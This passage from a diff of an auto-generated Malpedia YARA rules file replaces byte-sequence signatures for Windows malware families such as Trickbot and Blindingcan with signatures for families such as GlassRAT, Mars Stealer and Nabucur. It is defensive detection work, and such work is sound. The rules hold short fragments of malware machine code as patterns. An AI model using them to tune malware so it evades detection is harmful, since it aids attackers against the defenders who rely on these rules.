"https://malpedia.caad.fkie.fraunhofer.de/details/win.yayih" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.yayih_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.divergent" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.divergent_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "ccf9d220b177854895c46141d0b55d3d71e3c288e2342d7f6d4b5f34327dab2f" + logic_hash = "59dd95ddff9efda2ca5f59f400b3973c8f58905843f6145e813b39dc6d7537d1" score = 75 quality = 75 tags = "FILE" @@ -129698,32 +129611,71 @@ rule MALPEDIA_Win_Yayih_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a01 8d459c 5f 6689b548ffffff 50 } - $sequence_1 = { ff75f8 ff15???????? 8d85bcd8ffff 50 e8???????? 80bc05bbd8ffff3e } - $sequence_2 = { 8a1c33 80eb03 ff4508 8819 49 } - $sequence_3 = { e8???????? 59 59 8d85f0fdffff 68???????? } - $sequence_4 = { 7517 ff45e0 817de050c30000 0f8cecfdffff 33f6 e9???????? 6a44 } - $sequence_5 = { 83650800 8b550c 8d78ff 59 85ff } - $sequence_6 = { 8d8570fdffff 68???????? 50 ff15???????? 83c410 3bc3 894508 } - $sequence_7 = { 50 56 ff15???????? bf04010000 } - $sequence_8 = { c785f0feffff28000000 6a0c 8d45d0 56 50 e8???????? 6801200000 } - $sequence_9 = { 68???????? 50 e8???????? 59 8d85c0feffff 59 50 } + $sequence_0 = { ff15???????? 85c0 781e 8d85f8fdffff 50 } + $sequence_1 = { 50 e8???????? 59 59 8b0b 8bd7 eb08 } + $sequence_2 = { 6aff 0f44c1 50 57 ff15???????? 8bf0 85f6 } + $sequence_3 = { 68???????? eb37 68???????? eb30 68???????? eb29 68???????? } + $sequence_4 = { f77dfc 43 8aca 81fb00010000 7cba 5f 5e } + $sequence_5 = { 786e ff75e0 ff15???????? 40 50 e8???????? 8bf0 } + $sequence_6 = { eb03 8b7dfc 8b36 85f6 0f8574ffffff } + $sequence_7 = { e8???????? ff730c 68???????? 56 e8???????? f20f104310 83c420 } + $sequence_8 = { 894dd4 894dd8 ff15???????? 33db 85c0 0f99c3 85db } + $sequence_9 = { d9e0 dec1 dd5df8 dd45f8 8be5 5d c3 } condition: - 7 of them and filesize < 57344 + 7 of them and filesize < 212992 } -rule MALPEDIA_Win_Mariposa_Auto : FILE +rule MALPEDIA_Win_Hacksfase_Auto : FILE +{ + meta: + description = "autogenerated rule brought to you by yara-signator" + author = "Felix Bilstein - yara-signator at cocacoding dot com" + id = "729ac06e-5cdf-534d-872e-f45399aff424" + date = "2026-01-05" + modified = "2026-01-06" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hacksfase" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hacksfase_auto.yar#L1-L124" + license_url = "N/A" + logic_hash = "475d936eb0e74e3fe48740a165f50322f1d0bfb51d9d93ce37cd5fe8ac260ab9" + score = 75 + quality = 75 + tags = "FILE" + version = "1" + tool = "yara-signator v0.6.0" + signator_config = "callsandjumps;datarefs;binvalue" + malpedia_rule_date = "20260105" + malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" + malpedia_version = "20251219" + malpedia_license = "CC BY-SA 4.0" + malpedia_sharing = "TLP:WHITE" + + strings: + $sequence_0 = { 8965e8 33db 895de0 895de4 895dd8 895ddc 895dfc } + $sequence_1 = { 56 6a02 68???????? 56 ff500c } + $sequence_2 = { 56 ffd3 50 ffd5 56 ff15???????? } + $sequence_3 = { 89442418 894c241c 6a00 6a00 6a00 6a06 6a01 } + $sequence_4 = { 3975b4 7416 3975bc 7411 ff75b4 8bcb } + $sequence_5 = { 7479 bf02000000 8b442414 40 3bc7 89442414 } + $sequence_6 = { e8???????? 8b1d???????? 83c40c 68e8030000 ffd3 6a00 6a00 } + $sequence_7 = { 895dc8 895dd0 ff5064 3bc3 894508 7d5d } + $sequence_8 = { b8???????? e8???????? 83ec0c 8b412c 56 57 } + $sequence_9 = { 33d2 8d0cb6 f7f6 8d0c89 } + + condition: + 7 of them and filesize < 106496 +} +rule MALPEDIA_Win_Glassrat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "2a3a2192-1985-5afb-a3c8-457f3f4c729c" + id = "e9bc70a4-a165-546a-8b42-f2a0c16e09f0" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mariposa" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mariposa_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.glassrat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.glassrat_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "343ac33f57cd9cc9bfc1841bf1bd211734de245f417ee554220587a46ed4086f" + logic_hash = "fbe939a1762c88ca3785e6b1a0e31abcf86d2dba3555094a224ffc73c72353a2" score = 75 quality = 75 tags = "FILE" @@ -129737,32 +129689,32 @@ rule MALPEDIA_Win_Mariposa_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 55 8bec 53 56 bb???????? 43 } - $sequence_1 = { ffd3 33c0 50 e8???????? 33c0 } - $sequence_2 = { 53 56 bb???????? 43 } - $sequence_3 = { 885c0cff e2f1 ba???????? 2bd6 8bdc 03da 4b } - $sequence_4 = { 8a1c0e 02d8 32dc fec0 885c0cff e2f1 } - $sequence_5 = { 8bdc 03da 4b 54 ffd3 33c0 } - $sequence_6 = { 885c0cff e2f1 ba???????? 2bd6 } - $sequence_7 = { 8a4301 8a6302 f6d0 02c4 d0f8 8a1c0e } - $sequence_8 = { 53 56 bb???????? 43 803b00 } - $sequence_9 = { 03da 4b 54 ffd3 33c0 } + $sequence_0 = { 32c0 5d 83c408 c21400 53 56 8d4524 } + $sequence_1 = { 895904 894108 89790c 8b4a04 e8???????? } + $sequence_2 = { 0f8598000000 bf02000000 ff15???????? 6a00 8b95c4feffff } + $sequence_3 = { 6860ea0000 ff15???????? 8d8c242c010000 c784243c020000ffffffff e8???????? 46 83fe05 } + $sequence_4 = { 8d5004 8945ec 8930 b941000000 33c0 8bfa } + $sequence_5 = { 8d9578feffff 53 53 6a02 } + $sequence_6 = { c7857cffffff44000000 c745a801010000 668975ac 895db8 895dbc } + $sequence_7 = { 8dbd85feffff 8945e0 8945e4 889d84feffff f3ab 66ab } + $sequence_8 = { 33ed 68905f0100 ff15???????? 6a00 } + $sequence_9 = { e8???????? 53 55 56 33c0 8bf1 89442410 } condition: - 7 of them and filesize < 311296 + 7 of them and filesize < 81920 } -rule MALPEDIA_Win_Mortis_Auto : FILE +rule MALPEDIA_Win_Unidentified_113_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f1dc50d3-c8e9-5fa8-9af5-7aac8f083303" + id = "026f5486-b8e6-5386-ab78-8b52aa522545" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mortis" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mortis_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_113" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_113_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "0e2f339d3dda0007a7d364688897ee3fa718ccca078261699c7cc12487f6f0da" + logic_hash = "c4dbb7c789bd37f81bad9c32be7e0c5fc26b7a85c7d9e53aaac6f7a0dd9d408f" score = 75 quality = 75 tags = "FILE" @@ -129776,32 +129728,32 @@ rule MALPEDIA_Win_Mortis_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6bcf38 030c95201f4400 f6412d01 7428 e8???????? c70016000000 e8???????? } - $sequence_1 = { 68???????? 51 50 51 ffb54cfdffff 8d4d98 e8???????? } - $sequence_2 = { 8d1476 c1e204 8d0476 57 03d7 8d0cc7 e8???????? } - $sequence_3 = { 8d8d40feffff 6a00 034804 33c0 394138 0f94c0 8d048502000000 } - $sequence_4 = { c645fc01 8d8da0fdffff 6a07 0f57c0 c785b0fdffff00000000 68???????? 0f1185a0fdffff } - $sequence_5 = { f20f591485d08c4300 660f5834c5e0944300 660f54c5 f20f5ce8 f20f58fa f20f10d8 f20f59c1 } - $sequence_6 = { 8b07 6a01 68???????? 51 50 51 ffb54cfdffff } - $sequence_7 = { c60000 c645fc04 8b8d3cfdffff 83f910 722f 8b9528fdffff 41 } - $sequence_8 = { 7544 ba???????? b9???????? e8???????? 8bf0 ff15???????? } - $sequence_9 = { 68???????? 0f1185e8fdffff c785fcfdffff00000000 e8???????? c645fc05 8d8d00feffff 6a0a } + $sequence_0 = { e8???????? 83c408 be08000000 e9???????? 83f904 0f82a2000000 807c19fe3e } + $sequence_1 = { ff742434 ff15???????? ff74243c ff15???????? 57 ff15???????? 8b8c2468030000 } + $sequence_2 = { e8???????? 83c40c 8b4c2410 83c502 83d100 894c2410 85c0 } + $sequence_3 = { ff74242c 55 57 e8???????? 55 8bf8 e8???????? } + $sequence_4 = { ffd6 ff742414 ffd6 8b8c247c040000 5e 33cc e8???????? } + $sequence_5 = { ff7630 e8???????? 6a38 6a00 56 e8???????? 8b4710 } + $sequence_6 = { ff15???????? 8bd8 899da0feffff 85db 0f84fc030000 0f1f440000 ff15???????? } + $sequence_7 = { e8???????? 89442424 83c408 8bc7 837c241c00 0f44d8 53 } + $sequence_8 = { c785acf3ffff00000000 0fb608 8bd1 c785b0f3ffff00000000 c785b4f3ffff00000080 83ea01 741d } + $sequence_9 = { ff7020 8d44242c 50 8b442434 50 8b4020 ffd0 } condition: - 7 of them and filesize < 577536 + 7 of them and filesize < 4707328 } -rule MALPEDIA_Win_Photofork_Auto : FILE +rule MALPEDIA_Win_Dispcashbr_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "03f3231c-1475-52ed-bb16-632751ac4d12" + id = "55df9dfe-3a05-5311-b783-4a51e2e4694d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.photofork" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.photofork_auto.yar#L1-L117" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dispcashbr" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dispcashbr_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "709bae5e70c248514471207a86aa73bde84d2e17312283aa497e33ccd6cf6fc3" + logic_hash = "086284cd3c4f836fd2903e8ee5f20f6af858fd595f5b202fe80164aaffa860ae" score = 75 quality = 75 tags = "FILE" @@ -129815,32 +129767,32 @@ rule MALPEDIA_Win_Photofork_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4d85d2 7515 8d56fc 33c9 41b8fe6a7a69 e8???????? } - $sequence_1 = { 4156 4883ec60 49894ba8 4533e4 } - $sequence_2 = { 488b0d???????? 488981e0100000 eb12 ba01000000 } - $sequence_3 = { 4c894858 33d2 41b800800000 488bcf 41ffd1 33c0 4881c4a0000000 } - $sequence_4 = { 4c8d45c4 eb72 488b05???????? 4885c0 742c 488b8080010000 } - $sequence_5 = { 0f85b9010000 ff15???????? 83f87a 0f85aa010000 8b8424d0000000 } - $sequence_6 = { 5e 5d c3 498bdf 6690 80bbc001000030 } - $sequence_7 = { 4c8bc6 488d950c020000 e8???????? 488d5590 } - $sequence_8 = { 488bd0 488b05???????? 48899040060000 488d4dc0 ffd2 66837dc009 b840000000 } - $sequence_9 = { 72ea 4533c9 4c8d459c 488d54242c } + $sequence_0 = { e8???????? 83ec08 c7442408c8ffffff c7442404???????? } + $sequence_1 = { e8???????? e9???????? c70424f5ffffff e8???????? } + $sequence_2 = { c744240404000000 890424 e8???????? 83ec08 c7442408f2ffffff } + $sequence_3 = { c744240404000000 890424 e8???????? 83ec08 c7442408c9ffffff c7442404???????? a1???????? } + $sequence_4 = { c744240404000000 890424 e8???????? 83ec08 c7442408eaffffff c7442404???????? a1???????? } + $sequence_5 = { 890424 e8???????? 83ec08 c7442408c8ffffff } + $sequence_6 = { e8???????? 83ec08 c7442408c9ffffff c7442404???????? a1???????? 83c020 890424 } + $sequence_7 = { c744240404000000 890424 e8???????? 83ec08 c7442408fcffffff c7442404???????? } + $sequence_8 = { 83c020 8944240c c744240822000000 c744240401000000 c70424???????? e8???????? } + $sequence_9 = { 83ec04 c744240404000000 890424 e8???????? 83ec08 c7442408e6ffffff c7442404???????? } condition: - 7 of them and filesize < 99328 + 7 of them and filesize < 123904 } -rule MALPEDIA_Win_Fengine_Auto : FILE +rule MALPEDIA_Win_Nabucur_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "cef733ce-bf96-5266-a850-204ef84184a0" + id = "9022825e-08e1-5228-a8ab-7502f1d2e737" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fengine" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fengine_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nabucur" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nabucur_auto.yar#L1-L155" license_url = "N/A" - logic_hash = "507e9d8622f7849f14197935caec762eb3952f2b4dfc87cf038f7351547ec88d" + logic_hash = "1073a8071d9c420307c019b8193b4c07d15bc5ab7630e60f5042626f0d12ed0f" score = 75 quality = 75 tags = "FILE" @@ -129854,32 +129806,38 @@ rule MALPEDIA_Win_Fengine_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? 85c0 0f84c5020000 68???????? 53 e8???????? } - $sequence_1 = { 57 ff32 ff15???????? f7d8 1bc0 5e } - $sequence_2 = { 57 8d8decefffff 51 50 8d85fcf7ffff 50 } - $sequence_3 = { 50 e8???????? 8d5590 83c40c 8d4a01 8d642400 } - $sequence_4 = { c705????????01000000 e8???????? 48 f7d8 } - $sequence_5 = { 833d????????00 53 57 8bda 8bf9 7511 } - $sequence_6 = { 8b3e 83c328 0fb74706 8955e0 894ddc 3945f8 0f8c5affffff } - $sequence_7 = { 8d85f0efffff 50 53 ff15???????? 85c0 } - $sequence_8 = { 7410 8b4c3012 03c8 8d4616 } - $sequence_9 = { 3b45e4 7740 8d45ec 50 8b45e8 51 } + $sequence_0 = { 48 894500 85c0 7fee } + $sequence_1 = { 48 8944241c 85c0 7fd1 } + $sequence_2 = { 48 83f801 89442418 0f8f15ffffff } + $sequence_3 = { 48 83e908 85c0 75f0 57 } + $sequence_4 = { 48 8906 8d442410 50 } + $sequence_5 = { 009eaa030000 0fb686aa030000 57 83f80a 0f876d010000 } + $sequence_6 = { 33ff 397c242c 7e61 8b6c242c 8b03 8d4c0001 81f900020000 } + $sequence_7 = { 48 89442414 85c0 0f8f68ffffff } + $sequence_8 = { 89728e 5f 5c ab } + $sequence_9 = { e9???????? ffd6 e9???????? 5e e9???????? 68ad009a0c } + $sequence_10 = { ba0eb4d3fc 83c604 eb0c 83f901 } + $sequence_11 = { 8bec 68???????? e8???????? 813d????????1d932600 } + $sequence_12 = { e022 0884df221d84c2 221b 84dd 223c84 } + $sequence_13 = { b4d6 98 db3e d35f9e c25a1a } + $sequence_14 = { af 6abb 8ed5 3155fc } + $sequence_15 = { 91 039109861780 60 96 } condition: - 7 of them and filesize < 210944 + 7 of them and filesize < 1949696 } -rule MALPEDIA_Win_Donot_Auto : FILE +rule MALPEDIA_Win_Quirkyloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "30399a34-f31f-510d-a9cd-b28c8f061e17" + id = "96ed682d-1f85-55be-b220-303838180cde" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.donot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.donot_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.quirkyloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.quirkyloader_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "b17b58b9afa5bf822376cb1f7c125d224a4976e4d102fc9c5fd48e6d7a73b698" + logic_hash = "8925860198d03a19b550d761a81339280161301cb85fe60c28e452df7f2a68e4" score = 75 quality = 75 tags = "FILE" @@ -129893,32 +129851,32 @@ rule MALPEDIA_Win_Donot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c745fc00000000 8d8d98fdffff 6a00 c78598fdffff00000000 68???????? c785a8fdffff00000000 c785acfdffff0f000000 } - $sequence_1 = { 83e63f c1ff06 6bf638 8b04bd187b0410 807c302800 7d3c e8???????? } - $sequence_2 = { c785c0fdffff00000000 c785c4fdffff07000000 668985b0fdffff 83fa10 } - $sequence_3 = { 8d4904 8a80101c0410 8841fc 83ea01 75ec 47 83eb01 } - $sequence_4 = { c78584edffff00000000 c78588edffff0f000000 c68574edffff00 e8???????? 8d8de8edffff c645fc0f 8d5101 } - $sequence_5 = { 8d048502000000 0bc1 8bce 50 e8???????? 32c0 e9???????? } - $sequence_6 = { c645fc1a 50 e8???????? c645fc1b b8ffffff7f 8b55c8 2bc2 } - $sequence_7 = { 83ec18 c645fc06 8d85c8fdffff 8bcc 50 e8???????? 8d8580fdffff } - $sequence_8 = { 8d8598fdffff 0f438598fdffff 03f0 56 e8???????? 8b8590fdffff } - $sequence_9 = { 7269 81fbffffff3f 7349 8d041b 3dffffff7f 0f8741010000 } + $sequence_0 = { e8???????? 488bd8 488d15636d1200 488d4b10 41b880000000 e8???????? 488d4e10 } + $sequence_1 = { e8???????? 85c0 740e b801000000 4883c438 5b 5e } + $sequence_2 = { 4c8d8c2488000000 488bcb 4533c0 e8???????? 4c8bf8 4c8b6b40 4d85ff } + $sequence_3 = { e8???????? 498bcd e8???????? 488d0d0a1a0300 e8???????? 488bd8 e8???????? } + $sequence_4 = { 8b7a04 49033f 4803f9 4803fb 483bdf 731f 488b0b } + $sequence_5 = { ffc8 488d1480 498b4230 488d0cd0 488b4110 49894110 49c741f801000000 } + $sequence_6 = { 80b9b901000000 7502 eb15 488bce e8???????? 488bc8 33d2 } + $sequence_7 = { eb02 8bc6 8945cc 488b4518 488b4818 48898d70ffffff 488b4518 } + $sequence_8 = { f7da 41b9ff000000 83e207 0fb6ca 488d95c0000000 62d17e486f00 62f17e487f4502 } + $sequence_9 = { e8???????? 488bc3 8138ffffff7f 7409 488bc3 8b00 ffc0 } condition: - 7 of them and filesize < 626688 + 7 of them and filesize < 4722688 } -rule MALPEDIA_Win_Blindingcan_Auto : FILE +rule MALPEDIA_Win_Mars_Stealer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "acf0a9ea-8e05-5582-9c4c-05db475e1e05" + id = "5d89ff0c-708d-5cb2-bdc2-6969544672dc" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blindingcan" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.blindingcan_auto.yar#L1-L169" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mars_stealer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mars_stealer_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "106ff295c55cb42cf4cd73966a6c4c30703711b6e069188fdbe10ead59c40c1a" + logic_hash = "cc94c9b32aabf5299f34d05641ffdf1640d29fa168f4cb92b657b3f5122a585c" score = 75 quality = 75 tags = "FILE" @@ -129932,40 +129890,34 @@ rule MALPEDIA_Win_Blindingcan_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c745cc2932779f 66c745d0e35b c745d45df0da89 c745d87b772e76 c745dc62a9f6c4 c745e0d29c1f7b } - $sequence_1 = { a1???????? 33c5 8945fc 56 57 8d85f8f7ffff } - $sequence_2 = { 750a 8b30 89b495fcfeffff 42 83c00c 49 } - $sequence_3 = { c7857cfeffff36a54e6b c78580feffff5c01611e c78584feffffb5dcfc68 c78588feffff6ce7a33a c7858cfeffffafe2e55a c78590feffff74c31dff c78594feffff657f9183 } - $sequence_4 = { c78514fdffff7532479f c78518fdffffe35bc9c0 c7851cfdfffffc9c461f c78520fdffff9821ddfa c78524fdffff589a8f7a } - $sequence_5 = { c78554feffffa14b0c27 c78558feffff10c0aac6 c7855cfeffff489a8471 c78560feffff9cab4ad6 c78564feffff67cf2900 c78568feffff02dbaeb5 } - $sequence_6 = { 83c40c 85f6 741f 68???????? 68???????? 6a00 } - $sequence_7 = { c78504fdfffff79d6681 c78508fdffffbfa7f8a5 c7850cfdffffa0118db8 c78510fdffff4d3feb78 } - $sequence_8 = { 8bca e8???????? 85c0 7409 e8???????? } - $sequence_9 = { 99 f7fe 8bca e8???????? } - $sequence_10 = { b990190000 66394802 7574 488b35???????? 33d2 } - $sequence_11 = { 488bd3 ff15???????? 4c21642438 4c21642430 895c2428 83cbff } - $sequence_12 = { 4c8bc9 753b 0fb789a8040000 b8bb010000 ba00010000 } - $sequence_13 = { 488d4dd0 ff15???????? 488d55b8 488d4dd0 ff15???????? f20f102d???????? } - $sequence_14 = { 4533848410cb0100 4533451c 418bc0 c1e810 } - $sequence_15 = { 488bf8 483bc3 7423 448d4e81 448d4684 488d542440 } + $sequence_0 = { 83c404 8945fc 837dfc00 744c 6a00 } + $sequence_1 = { e8???????? 83c404 85c0 7443 833d????????00 751e } + $sequence_2 = { 0f90c1 f7d9 0bc8 51 ff15???????? 83c404 8945f4 } + $sequence_3 = { 8985fcfdffff c745fcc0270900 6a04 8d45fc 50 6a02 } + $sequence_4 = { 51 e8???????? c78548fcffff94000000 8d9548fcffff } + $sequence_5 = { 8bec 81ecc8040000 56 57 c78548fcffff00000000 6890000000 6a00 } + $sequence_6 = { 8d85e8d7ffff 50 e8???????? 6888130000 8d8d78ecffff } + $sequence_7 = { 8b55f0 52 ff15???????? 83c404 8b45e8 } + $sequence_8 = { 8d8d78ecffff 51 e8???????? 8d95e4d7ffff 52 8d85e0d7ffff 50 } + $sequence_9 = { 50 ff15???????? 83c404 8985dcf7ffff 8b85dcf7ffff } condition: - 7 of them and filesize < 363520 + 7 of them and filesize < 219136 } -rule MALPEDIA_Win_Trickbot_Auto : FILE +rule MALPEDIA_Win_Unidentified_116_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7dec44a5-ed16-520b-98af-bb6c41308144" + id = "e8b2ca1f-b6d4-5e1a-8d04-484724c2f148" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.trickbot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.trickbot_auto.yar#L1-L647" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_116" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_116_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "2410d16d7ee16128151b288938666126105e8a07f0144c47c922a04a3e6d63dc" + logic_hash = "aa3fe5ce882f091eaea8e0baeea989ea94aa46089f7c3aca2e5f5e4ccdc04bad" score = 75 - quality = 48 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -129977,100 +129929,32 @@ rule MALPEDIA_Win_Trickbot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 1bc0 83e020 83c020 eb36 } - $sequence_1 = { 83c010 eb25 a900000040 7411 2500000080 f7d8 1bc0 } - $sequence_2 = { eb36 2500000080 f7d8 1bc0 83e070 83c010 eb25 } - $sequence_3 = { f7d8 1bc0 83e002 83c002 eb0d 2500000080 f7d8 } - $sequence_4 = { 8b07 a900000020 7429 a900000040 } - $sequence_5 = { c705????????fdffffff c705????????feffffff c705????????ffffffff e8???????? } - $sequence_6 = { 895df8 895df4 895dec 66c745f00005 895dfc } - $sequence_7 = { 8902 3bcb 7507 5f 5e } - $sequence_8 = { 8d1489 8d0cd0 8b4114 2b410c } - $sequence_9 = { 41 83c028 3bce 7ce9 } - $sequence_10 = { 1bc0 83e007 40 8b4fe8 } - $sequence_11 = { 488b5118 4889442440 488b4148 4889442438 } - $sequence_12 = { 488b4138 4889442428 488b4130 488b4910 4889442420 41ffd2 } - $sequence_13 = { 4c8b4120 488b5118 4889442438 488b4140 } - $sequence_14 = { 488b01 4c8b4120 488b5118 488b4910 } - $sequence_15 = { 488b01 488b5118 488b4910 ffd0 } - $sequence_16 = { 488b4148 4c8b11 4c8b4928 4c8b4120 488b5118 } - $sequence_17 = { 488b4148 4889442438 488b4140 4889442430 488b4138 4889442428 488b4130 } - $sequence_18 = { 48397c2430 0f94c3 8bc3 488b5c2450 4883c440 } - $sequence_19 = { 6644891b 664183fb1a 7307 664183c341 eb13 } - $sequence_20 = { 83780400 7404 8b4008 c3 } - $sequence_21 = { 2bc2 d1e8 03c2 c1e806 6bc05f } - $sequence_22 = { 6820bf0200 68905f0100 68905f0100 50 } - $sequence_23 = { 51 68e9fd0000 50 e8???????? } - $sequence_24 = { 6a40 6800300000 6a70 6a00 } - $sequence_25 = { 8d440002 6a00 50 e8???????? } - $sequence_26 = { c3 6a01 ff15???????? 50 } - $sequence_27 = { 85c0 7f0b e8???????? 8b05???????? } - $sequence_28 = { e8???????? 83f801 7411 ba0a000000 } - $sequence_29 = { 8b45f8 5f c60000 2b450c 5e } - $sequence_30 = { 8b01 59 03d0 52 ebdc 89450c } - $sequence_31 = { 8bc1 66ad 85c0 741c } - $sequence_32 = { 50 8b450c ff4d0c ba28000000 f7e2 } - $sequence_33 = { 7405 e8???????? ff15???????? 8bc3 } - $sequence_34 = { ff5508 8b5510 8b4a04 ff5508 50 51 } - $sequence_35 = { 2bc1 8b00 3bc7 72f2 } - $sequence_36 = { ff5508 58 894514 8b5510 } - $sequence_37 = { 03d0 895510 8b4a04 ff5508 8b5510 8b4a0c } - $sequence_38 = { c1e102 2bc1 8b00 894508 } - $sequence_39 = { 85c0 741c 3bc1 7213 } - $sequence_40 = { 3bc1 7703 894df4 8b47fc } - $sequence_41 = { 0f8280000000 813950450000 7578 f6411602 7472 } - $sequence_42 = { f7e2 8d9500040000 03d0 895510 } - $sequence_43 = { c744242000300000 ff15???????? 85c0 7911 } - $sequence_44 = { 790f 8bc8 e8???????? 8d5e10 } - $sequence_45 = { 8bcf e8???????? 8bf0 85ed } - $sequence_46 = { 7911 8bc8 e8???????? bb10000000 } - $sequence_47 = { 33c9 33d2 ff15???????? 85c0 } - $sequence_48 = { 7c22 3c39 7f1e 0fbec0 } - $sequence_49 = { 7536 b906000000 8bc1 c3 } - $sequence_50 = { 58 41 41 41 41 } - $sequence_51 = { 8bcd 84c0 742e 660f1f440000 3c30 7c22 } - $sequence_52 = { ff15???????? 8bf0 c1ee1f 83f601 } - $sequence_53 = { ff15???????? 85c0 0f89d2000000 8bc8 e8???????? } - $sequence_54 = { eb0a 83f802 742b 83f803 745b } - $sequence_55 = { 8bc8 33c0 85c9 0f95c0 eb02 } - $sequence_56 = { 41 41 50 2bc1 8b00 } - $sequence_57 = { 2bc1 c1e002 51 8bcf } - $sequence_58 = { 6a00 6a00 ff15???????? 6a00 6a00 6a00 8d45dc } - $sequence_59 = { 8b7d10 2bf9 53 50 } - $sequence_60 = { 8dbf00500310 8bd6 897d08 3bc8 } - $sequence_61 = { 8b4d08 dd01 8b7510 dd1e e9???????? c745dce8c20001 } - $sequence_62 = { 3302 52 8bd0 51 03cf 51 58 } - $sequence_63 = { 58 8910 59 5a } - $sequence_64 = { 760b 8b45d0 83e801 8945d0 } - $sequence_65 = { 8945d4 8b4dfc 51 8b55d4 52 e8???????? 8b45fc } - $sequence_66 = { 85c0 7417 817de013010000 7502 eb0c 8d45dc 50 } - $sequence_67 = { bad64abad6 4a ba5d12f75d 12f7 5d 12f7 5d } - $sequence_68 = { c705????????ad380001 8935???????? a3???????? ff15???????? a3???????? 83f8ff 0f84c1000000 } - $sequence_69 = { 51 6800300400 8b55f8 52 ff15???????? 8945fc 837dfc00 } - $sequence_70 = { 40 8945d0 ff75fc ff75d0 } - $sequence_71 = { 84c0 741d 56 68???????? 8bc7 e8???????? } - $sequence_72 = { 8b4508 56 8d34c590f30001 833e00 7513 } - $sequence_73 = { f361 34aa 61 34aa } - $sequence_74 = { c1e803 85c0 7414 56 57 } - $sequence_75 = { 56 ff750c 6818280300 5e 56 } - 